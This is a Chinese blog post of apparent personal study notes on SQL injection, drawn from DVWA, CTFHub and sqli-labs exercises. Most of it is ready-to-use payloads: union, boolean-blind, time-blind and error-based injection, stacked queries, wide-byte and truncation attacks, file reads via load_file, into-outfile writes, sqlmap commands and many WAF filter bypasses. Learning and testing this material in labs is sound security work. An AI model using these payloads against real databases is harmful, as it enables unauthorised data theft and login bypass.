sql注入学习
SQL注入原理
一、定义
SQL注入是指在判断出注入点后,将恶意的SQL语句添加到输入参数中,使得后台服务器执行添加的SQL语句,从而达到窃取网站敏感信息等目的
二、实例及原理
2.1字符型注入(dvwa平台sql注入简单级别)
查看回显
输入用户id为1,发现URL中也出现ID=1,说明使用get方式传参数,查看回显,返回了ID为1的用户信息
审计源代码
- 发现主要执行的SQL语句为:
1 | SELECT first_name, last_name FROM users WHERE user_id = '$id' union select 1,2 |
类似这类传入参数以
'
包裹的称为字符型注入,可以通过传入1' xxx#
(xxx为恶意的SQL语句)的方式来执行恶意的SQL语句
原因:
- 数字后跟的
'
与源码中$id前的'
优先匹配,后面的SQL语句只要用union与前面的SELECT语句连接,就可以做到让后台服务器执行能达到攻击目的的SQL语句。- 最后的
#
作用是将语句结尾的'
和;
注释掉,将'
注释掉是为了防止语法错误,并且对于单句SQL语句即使没有;
也可以正常执行
- 回显部分的代码为:
1 |
|
由于使用while循环,可以猜想到如果执行的SQL语句union上别的SQL语句(联合查询),只要查询的字段数和类型相同,每一行的数据都可以被回显出来
判断列数
SQL语言中order by
关键字用于给查询的表添加排序条件并且处于SELECT语句末尾,正常情况下我们并不知道查询结果的字段名,但可以在order by
后直接跟数字1表示按第一字段排序,用此方式发现在输入 1' and order by 3#
时发生错误,因此得知查询结果总列数为2,这表示之后union 后的select语句仅仅只能查询两个字段
获取库名、表名、字段名
- 获取库名,要想获取关键信息,得知道库名、表名、字段名,利用user()和database()函数分别获取用户名和数据库名称
由于该情景下union后的select语句必须有两个字段,这里主要获取数据库名称,user()可以替换成其他函数或者常量等等都可以
获取所有库名
1 SELECT group_concat(schema_name) FROM information_schema.schemata
- 获取表名,这边需要了解到
information_schema
是mysql自带的数据库,其中名为tables
的表中的两个字段table_name
和table_schema
记录了DBMS中的存储的表名和表名所在的数据库。现在我们已经知道了数据库名称为dvwa
,可以加入WHERE进行条件查询,最终后台服务器运行的SQL语句为:
1 | SELECT first_name, last_name FROM users WHERE user_id = '1' |
得到表名有两个,分别为
guestbook
和users
,根据经验判断网站敏感信息存储在users表中
获取字段名,
information_schema
中有一张名为columns
的表,其中column_name
存储了字段名,通过增加条件table_name = 'users'
,成功获取users
表的字段名获取敏感信息: 从字段名可看出,user和password存储着重要信息,添加
select user, password from dvwa.users
即可得到账号及密码,密码使用了md5加密
2.2 整数型注入(CTFHub技能树)
- 输入1,由下方红字提示输入的内容没有被
'
包裹,这种称为整数型输入,输入1 and 1=2
没有回显也可以验证这是整数型注入,因为如果是字符型,字符串’1 and 1=2’自动转换成整数1,仍有回显
SQL中字符串自动转换成整型规律:从左边第一个字符开始排查起,转换成出现的第一个非数字字符前的数字对应的整型,如果第一个字符就不是数字,则转换成0
- 继续使用同字符型注入同样的方法,判断完列数后在输入的ID后跟上union语句,发现回显仍为id为1的信息,原因猜测是该网页只会回显查询结果的第一行,因此要实现让前一个select语句查询结果为空,可以让其WHERE后跟的条件始终为加,如:
1 and 1=2
- 剩下的同字符型注入一样的流程:得到数据库名、表名、字段名,需要注意的是,查询结果只返回一行,为了防止查询结果有多行无法显示完全,使用
group_concat(字段名)
函数,将所有行综合为一行输出,最终得到flag
2.3 SQL盲注
盲注指SQL语句执行查询后,查询数据不能回显到前端页面中
可能需要用到的函数、关键字
- substr(字符串,索引开始位,索引结束位):用于获取字符串中的特定字符
limit 开始行数的索引,显示的总行数
:放在select查询语句最后,限制显示行数,索引从0开始- ascii(字符):将某个字符转换为ascii值
- ord(str):函数返回字符串str的最左边字符的ASCII码值
布尔盲注(字符型为例)
适用于回显只有两种的情况,如User ID exists in the database.
和User ID is MISSING from the database.
分别对应了输入语句返回的布尔值。
- 如果采用手动注入,一般要结合二分查找、穷举法等方法来逐一破解出库、表、字段的名称。(以下为猜解数据库名称的例子)
1 | 1' union select count(schema_name) from information_schema.schemata)> n # //猜解数据库个数 |
- 可以借用sqlmap工具来自动化实现这种机器的过程,mac下具体指令为
1 | sqlmap -u "网址" --batch --dbs //获取数据库名称,batch意思为不询问输入默认输入Y |
最终得到flag
时间盲注(字符型为例)
仅要求有回显,主要原理是利用SQL中if函数及sleep函数再加上其他用于拆解字符串、转换字符为ASCII码值的函数,sleep函数作为if函数的第二个参数,猜解名称的函数作为if的第一个参数,第三个参数可以任意赋值,但不能与sleep函数相同,因此若猜解函数返回正确,则执行sleep函数,效果为网页延迟了设定的描述才显示。
1 | 1' and if ((ascii(substr(database(),1,1))=100),sleep(3),1) # //判断数据库名称第一个字符是否为'd',结果显示明显延迟 |
三、判断注入点
3.1判断是否存在SQL注入漏洞
输入1'
如果报错,则存在注入漏洞,报错原因是单引号数量不匹配,如果没报错,说明可能该网页过滤了单引号
3.2判断是字符型还是整数型
- 输入
1 and 1=2
和1'#
和1' and '1'='1
若都回显id为1的信息,则为字符型 - 输入
1 and 1=2
没有回显,且输入1 and 1=1
有回显,则为数字型,原因1 and 1=2
恒为假,过滤掉所有的行
3.3判断能否时间盲注
MySQL | benchmark(100000000,md(5))sleep(3) |
---|---|
PostgreSQL | PG_sleep(5)Generate_series(1,1000000) |
SQLServer | waitfor delay ‘0:0:5’ |
3.4判断数据库类型
1 | //判断是否是 Mysql数据库' |
四、常用函数、基础知识
系统函数
- system_user()——系统用户名
- user()——用户名
- current_user()——当前用户名
- session_user()——链接数据库的用户名
- database()——数据库名
- version()——数据库版本
- @@datadir——数据库路径
- @@basedir——数据库安装路径
- @@version_conpile_os——操作系统
字符串连接函数
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据。
两种注释
- –+
#
(url编码%23)
sql中的逻辑运算
万能密码构造
1 | username=’admin’ andpassword=’’or 1=1 |
在sql中and运算符优先级大于or运算符,类比&&>||
sql中也能使用位运算
1 | Select * from users where id=1 & 1=1; |
&的优先级大于=
order by
1 | order by 字段 [asc|desc]; # asc升序,默认的 |
用于判断列数,不知道列名时用1 2 3……表示第1 2 3……列
系统数据库(information_schema)
mysql版本>=5.0
该库中有三个表schemata(各数据库名schema_name)、tables(各表名table_name)、columns(各列名)
1 | select group_concat(schema_name) from information_schema.schemata # 查数据库名 |
五、注入类型
SQL注入的分类
依据注入点类型分类
数字类型的注入
字符串类型的注入
搜索型注入
依据提交方式分类
GET注入
POST注入
COOKIE注入
HTTP头注入(XFF注入、UA注入、REFERER注入)
依据获取信息的方式分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
联合查询注入
堆叠注入 (可同时执行多条语句)
联合注入
要求列数一致
字符型
1 | ' |
整型的也差不多,去掉’
部分题目也可能在字符型基础上加括号等,若注释被屏蔽
1 '?id=-1' union select …… or '1'='1
堆叠注入
多条sql语句一起执行,利用加;
的操作
局限性
受到API或数据库引擎不支持,权限不足等
常见思路
可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名。
1 | show tables; #查看所有表 |
常见bypass
过滤select时,使用handler语句(mysql专用语句)
1 | handler users open as hd; #指定数据表users进行载入并将返回句柄重命名为hd |
预处理
1 | prepare xxx from "sql语句"; |
例题:强网杯随便注
布尔盲注
截取字符串常用函数
mid():
mid(s,n,len);
从字符串 s 的 n 位置截取长度为 len 的子字符串substr()/substring():
substr(s, start, length); substring(s, start, length)
从字符串 s 的 start 位置截取长度为 length 的子字符串left():
left(s,n);
返回字符串 s 的前 n 个字符right():
right(s,n);
返回字符串 s 的后 n 个字符ascii()/ord()
ascii(s);/ord(s);
返回字符串 s 的第一个字符的 ASCII 码。 这里不考虑多字节字符,比如汉字trim()/rtrim()/ltrim()
ltrim(s);
去掉字符串s开始处的空格rtrim(s);
去掉字符串s结尾处的空格trim(s);
去掉字符串开始和结尾处的空格
1
2
3
4TRIM([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串);
BOTH删除两边的指定字符串
LEADING删除左边的指定字符串
TARILING删除右边的指定字符串1
select trim(LEADING "a" from "abcd") = trim(LEADING "b" from "abcd");
以这个为例,我们将删除的字符串ASCII差限制在1,例如a和b 当这个结果返回0时(说明有一个成功匹配),则第一个字符是a或者b。
接着让a的ASCII+2变成c,如果返回1(bc都不匹配),则字符串第一位为a,反之第一位为b。
这样做的目的是为了方便写脚本 第二个字符判断 select trim(LEADING “aa” from “abcd”) = trim(LEADING “ab” from “abcd”); 接着重复上面的过程,判断第二个字符 以此推出整个字符串
如果=用regexp替代那么正确的字符一定在regexp前面以这个abcd为例 Trim(leading ‘a’ from ‘abcd’) regexp trim(LEADING ‘x’ from ‘abcd’) 就是bcd regexp abcd返回0, 如果反过来就是abcd regexp bcd 返回1 因此只需判断第一步即可,而不需要ASCII+2去判断了
⚠️:如果用regexp,要先在
trim(LEADING "a" from "abcd") != trim(LEADING "b" from "abcd")
的条件下,因为两个相同字符串间的regexp也会返回1注:y1ng师傅在[HFCTF 2021 Final]hatenum中用到了这个方法,通过持续递归,多次套娃trim。如果字符串长度被限制,可使用。一次只截断几个字符
1
select trim(LEADING "b" from trim(LEADING "a" from "abcd")); -- cd
先截断a,返回字符串bcd,在截断b,返回字符串cd
Insert()
INSERT(s1,x,len,s2)
字符串 s2 替换 s1 的 x 位置开始长度为 len 的字符串1
2
3
4
5
6
7
8
9
10例子:第一步删除起始的前x位
SELECT INSERT("abcdef", 1,0, "");
-- 输出:abcdef
SELECT INSERT("abcdef", 1,1, "");
-- 输出:bcdef
第二步套娃删除x+1位以后的所有
SELECT INSERT((INSERT("abcdef", 1,0, "")),2,9999,"");
-- 输出:a
SELECT INSERT((INSERT("abcdef", 1,1, "")),2,9999,"");
-- 输出:b
盲注常用方法
if/case 用在select查询当中,当做一种条件来进行判断
1
2
3
4
5
6
7
8
9if(条件,为真结果,为假结果)
# case语法(两种)
简单函数
CASE [col_name] WHEN [value1] THEN [result1]…ELSE [default] END
搜索函数
CASE WHEN [expr] THEN [result1]…ELSE [default] END
select case 'b' when 'a' then 1 when 'b' then 2 else 0 end; #2
select case 'a' when 'a' then 1 else 0 end; #1
select case when 98>12 then 1 when 3<1 then 2 when 98>3 then 3 else 0 end; #1搜索函数优先匹配第一个为真的条件,也可以只写一个条件,代替if语句
regexp/rlike 正则表达式注入(可以代替if)
1
2
3
4select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
select * from users where id=1 and 1=(user() regexp'^ri'); # i表示不区分大小写
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');1
2select * from users where id=1 and 1=(select 1 from information_schema.tables
where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);这里只要更换regexp表达式即可
注:regexp不区分大小写,需要大小写敏感要加上binary关键字
1
select binary database() regexp "^CTF";
like匹配注入(适用于=被过滤)
1
select user() like 'ro%';
benchmark函数 测试操作性能
get_lock
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16//第一个连接
mysql> select get_lock('aaa',1);
+-------------------+
| get_lock('aaa',1) |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.00 sec)
//打开另一个cmd 再次连接mysql,执行get_lock,发现延时
mysql> select get_lock('aaa',1);
+-------------------+
| get_lock('aaa',1) |
+-------------------+
| 0 |
+-------------------+
1 row in set (1.00 sec)利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用mysql_pconnect(打开一个到 MySQL 服务器的持久连接)函数来连接数据库。在CTF中,只有出题人很刻意的使用这个函数,才暗示使用这个
时间盲注
1 | if(ascii(substr(database(),1,1))>115,0,sleep(5))# |
sleep函数延时不常用,时间可能因网速影响
利用BENCHMARK()进行延时注入
1 | 'http://127.0.0.1/sqli-labs/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+ |
报错注入
报错盲注–floor报错
适用于低版本,mysql8似乎被修复
floor报错注入是利用 select count(*),(floor(rand(0)*2)) x from users group by x
这个相对固定的语句格式,导致的数据库报错
函数说明
- rand() 是一个随机函数(产生0到1间随机浮点数),直接使用每次产生的数都不同,但是当提供了一个固定的随机数的种子0之后:这样每次产生的值都是一样的。
- floor(rand(0)*2) floor()是向下取整,这样可以得到只含0 1的伪随机序列
报错原因
当执行以下语句时会报错(主键冲突)
1 | select count(*),floor(rand(0)*2) x from users group by x; |
主要利用floor(rand(0)*2)的结果规律为0 1 1 0 1 1,当数据表中最少需要三条数据才会报错
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
payload
1 | select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a; |
1 | 爆库 |
几何函数
1 | GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b)) |
不存在函数
爆数据库
name_const()
1 | 获取版本信息 |
uuid相关函数
mysql:8.0.x
1 | mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1)); |
exp() 适用版本 5.5.5-5.5.49
1 | select exp(~(select * FROM(SELECT USER())a)); |
pow()结合盲注
1 | select pow(1+(表达式),999999999999) |
bigint 溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html
1 | '?id=1' union select (!(select * from (select user())x) - ~0),2,3--+ |
xpath语法错误–较常用
报错原因,0x7e就是~不属于xpath语法格式
1 | select extractvalue(1,concat(0x7e,(select @@version),0x7e)); |
updatexml三个参数
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
第三个参数:new_value,String 格式,替换查找到的符合条件的数据**
注意加select防止不回显,当显示字符有限时,常用字符串截断substr配合
1
2 select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
--mysql 重复特性,此处重复了version,所以报错。
Join using()注列名
mysql8修复
报错存在重复的列名
1 | mysql>select * from(select * from users a join (select * from users)b)c; # 报错信息内回显第一列名称 |
GTID相关函数
版本>=5.6.5
1 | mysql>select gtid_subset(user(),1); # 报错回显用户 |
导入导出文件
查看限制
secure_file_priv
load_file()导出文件
load_file(filename)
1 | select load_file('/flag'); |
二次注入
常见思路
如果是单引号闭合
注册一个admin'#
账户,登录修改其密码,则实际改的是admin的密码
宽字节注入
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。
宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码那么就有可能产生宽字节注入。PHP的编码为UTF-8 而MySql的编码设置为了SET NAMES ‘gbk’ 或是SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
相关函数
addslashes() :这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ‘ 、双引号 ” 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。
这个函数功能与魔术引号功能完全相同,如果魔术引号打开就不要用这个函数了
三个魔术引号功能
magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。如果 magic_quotes_gpc 关闭时返回 0,开启时返回 1。在 PHP 5.4.0 起将始终返回 0,因为这个魔术引号功能已经从 PHP 中移除了。
magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
magic_quotes_sybase (魔术引号开关)如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ”。而双引号、反斜线 和 NULL 字符将不会进行转义。
gbk编码
1 | 用户名输入:admin%df' or 1=1# |
%df
吃掉\
的原因是,urlencode(\')
=%5c%27
,添加%df后形成%df%5c%27
,而上面提到的mysql 在GBK 编码方式的,第一位范围为0x00-0x7F时,当作一个字符。%df不在这个范围内,因此会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27(‘) 则作为一个单独的符号在外面,同时也就达到了我们的目的
utf8编码、Latin1编码
UTF-8编码是变长编码,可能有1~4个字节表示:
- 一字节时范围是
[00-7F]
- 两字节时范围是
[C0-DF][80-BF]
- 三字节时范围是
[E0-EF][80-BF][80-BF]
- 四字节时范围是
[F0-F7][80-BF][80-BF][80-BF]
然后根据RFC 3629规范,又有一些字节值是不允许出现在UTF-8编码中, 所以最终,UTF-8第一字节的取值范围是:00-7F、C2-F4。
1 | 输入:?username=admin%c2 |
修复
在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=(‘gbk’,$conn) 。
所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:
1
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。
约束攻击
当数据库字符串长度过短,并且后端没有对字符串进行长度限制时
select 语句对于参数后面空格的处理是删除,insert只是截取最大长度的字符串,然后插入数据库。
1 | create table users( |
最大长度限制(具体看表的定义)为25 我们输入用户名为 admin[20个空格]1,密码随意。脚本查询的时候因为用了select 语句,空格被删除,剩下了admin1。
注册时:INSERT取前25位->admin[20个空格]和自己设定的密码当成了一个新用户->select查找admin,返回两条
数据库里面的空格也在查询的时候被删除了再比较
order by 后的注入
order by参数后注入
1 | $id=$_GET['sort']; |
sort可以是sql语句,只要保证返回一行一列或者是一个数字或布尔类型也可以,一般有以下三种
直接注入语句(要返回单行单列) ?sort=(select ……)
利用函数rand ?sort=rand(sql语句)
- 利用的是rand(true)与rand(false)导致题目回显不同而构造盲注条件
也可以用报错注入
1
?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
利用and ?sort=1 and(sql语句)
- 这里的sql语句可以用延时注入
1
?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
procedure analyse 参数后注入
此方法适用于MySQL 5.x中,在limit语句后面的注入 利用procedure analyse 参数,我们可以执行报错注入。
同时,在procedure analyse 和order by 之间可以存在limit 参数,我们在实际应用中,往往也可能会存在limit 后的注入,可以利用procedure analyse 进行注入
1 | http://127.0.0.1/sqli-labs/Less-46/?sort=1 procedure analyse(extractvalue(rand(),con |
导入导出文件into outfile 参数
1 | http://127.0.0.1/sqli-labs/Less-46/?sort=1 into outfile "c:\\wamp\\www\\sqllib\\test |
六、常见bypass
Information_schema被屏蔽或过滤or时
聊一聊bypass information_schema - 安全客,安全资讯平台 (anquanke.com)
MySQL5.7的新特性
由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
innodb表–查找当前数据库的现存表
MySQL 5.6 及以上版本存在innodb_index_stats,innodb_table_stats两张表,其中包含新建立的库和表
1 | select table_name from mysql.innodb_table_stats where database_name = database(); # 返回去重过后的表名(简洁) |
sys表
在MySQL 5.7.9中sys中新增了一些视图,可以从中获取表名
1 | #包含in |
performance_schema表
1 | SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE(); |
上诉表格中虽然有能够查列名的表,但是查出来的数据都不全,当知道flag所在的库和表名时,但无法获取到列名,就需要利用无列名盲注了
join无列名注入 payload
join … using(xx)
查表名
1 | ' |
Union all 与union 的区别是增加了去重的功能
查列名(适用于逗号被过滤)
1 | # union select 重命名法 |
union select重命名法
不获取列名情况下查列,以查第二列为例
1 | select group_concat(b) from (select 1,2 as b,3 union select * from users)a; |
这里将第二列取别名为b(如果反引号`没被过滤,可以不取别名,直接用⬇️)
1 select `2` from ……结尾的a可以替换成任意字符,这是用来命名的
原理是联合查询时列名显示的是前一个select的结果,这里第一个select是
select 1,2 as b,3
将列名重命名为1 b 3,然后再将这个新表命名为a,再进行查询
select被过滤
基于mysql8特性的sql注入 - FreeBuf网络安全行业门户
mysql 8.0.19新增语句
table
1 | table users; === select * from users; |
table不能加where子句,不允许行过滤,显示所有列,但可以用来盲注表名
table盲注脚本
1 | #-*- coding:utf-8 -*- |
注意往前回溯
mysql比较,从第一个字符还是比较ascii的大小,一次往后 ,并且多列的比较时从第一列的第一位开始的
mysql中对char型大小写是不敏感的,盲注的时候要么可以使用hex或者binary。
values注入
1 | insert into `test`.`log`(`log`) VALUES('$log'); |
可以利用联合注入代替order by
WAF绕过–服务器解析漏洞
index.php?id=1&id=2
apache(php)解析最后一个参数,即显示id=2 的内容。Tomcat(jsp)解析第一个参数,即显示id=1 的内容。
我们往往在tomcat 服务器处做数据过滤和处理,功能类似为一个WAF,因此可以传入第一个为合法参数,第二个采用注入
空格被过滤
1 | /**/替代空格 |
%a0是一个不成汉字的中文字符,因此正则匹配时不会当空格过滤,而进入sql语句后,mysql不认中文字符,当空格处理
过滤单引号
转义符号及注释没被过滤时,将username闭合的单引号转义,在password的输入中插入布尔盲注语句
1 | username=admin\ |
多种注释符
1 | // |
过滤关键字
大小写绕过
双写绕过(主要用于源码中使用replace替换黑名单)
编码绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
十六进制编码
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
双重编码绕过
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9like绕过
1
2'?id=1' or 1 like 1#
可绕过对= >等过滤in绕过
1
or '1' in ('1234')#
in可以代替’=’,只有两个字符串一模一样时才返回true,注意括号不能漏,否则报错
过滤union
1
2waf= 'and|or|union'
绕过方式 1&& (select user from users where userid)='admin'过滤where
1
2waf = 'and|or|union|where'
绕过方式 1 && (select user from users limit 1) = 'admin'过滤limit
1
2waf = 'and|or|union|where|limit'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admim过滤group by
1
2waf = 'and|or|union|where|limit|group by'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1过滤select
1
2
3waf = 'and|or|union|where|limit|group by|select'
只能查询本表中的数据
绕过方式 1 && substr(user,1,1) = 'a'mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
过滤’(单引号)
1
2
3waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)过滤hex
1
2
3waf = 'and|or|union|where|limit|group by|select|\'|hex'
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。过滤substr
1
2
3waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))
绕过方式 1 && lpad(user(),1,1) in 'r'过滤逗号
1
2
3
4
5
6
7//过滤了逗号怎么办?就不能多个参数了吗?
SELECT SUBSTR('2018-08-17',6,5);与SELECT SUBSTR('2018-08-17' FROM 6 FOR 5);
意思相同
substr支持这样的语法:
SUBSTRING(str FROM pos FOR len)
SUBSTRING(str FROM pos)
MID()后续加入了这种写法
等价函数或变量
1 | hex()、bin() ==> ascii() |
反引号绕过
1 | select `version()` 可以用来过空格和正则,特殊情况下还可以当作注释符用 |
判断数据库类型
前端与数据库类型
asp:SQL Server,Access
.net:SQL Server
php:MySQL,PostgreSQL
java:Oracle,MySQL
根据特有函数判断
len和length
len()
:SQL Server 、MySQL以及db2返回长度的函数。length()
:Oracle和INFORMIX返回长度的函数。
version和@@version
version()
:MySQL查询版本信息的函数@@version
:MySQL和SQL Server查询版本信息的函数
substring和substr
MySQL两个函数都可以使用
Oracle只可调用substr
SQL Server只可调用substring
根据特殊符号进行判断
/*是MySQL数据库的注释符
–是Oracle和SQL Server支持的注释符
;是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#是MySQL中的注释符,返回错误则说明可能不是MySQL,另外MySQL也支持– 和/**/
根据数据库对字符串的处理方式判断
MySQL
http://127.0.0.1/test.php?id=1 and ‘a’+’b’=’ab’
http://127.0.0.1/test.php?id=1 and CONCAT(‘a’,’b’)=’ab’
Oracle
http://127.0.0.1/test.php?id=1 and ‘a’||’b’=’ab’
http://127.0.0.1/test.php?id=1 and CONCAT(‘a’,’b’)=’ab’
SQL Server
http://127.0.0.1/test.php?id=1 and ‘a’+’b’=’ab’
根据数据库特有的数据表来判断
MySQL(version>5.0)
1 | http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1 |
Oracle
1 | http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1 |
SQL Server
1 | http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1 |
根据盲注特别函数判断
MySQL
1 | BENCHMARK(1000000,ENCODE('QWE','ASD')) |
PostgreSQL
1 | PG_SLEEP(5) |
SQL Server
1 | WAITFOR DELAY '0:0:5' |
⚠️待补充 珂技系列之一篇就够了——mysql注入 - FreeBuf网络安全行业门户
[对MYSQL注入相关内容及部分Trick的归类小结 - 先知社区 (aliyun.com)](
- 标题: sql注入学习
- 作者: Sl0th
- 创建于 : 2022-01-23 22:20:06
- 更新于 : 2024-11-11 18:23:06
- 链接: http://sl0th.top/2022/01/23/sql注入学习/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。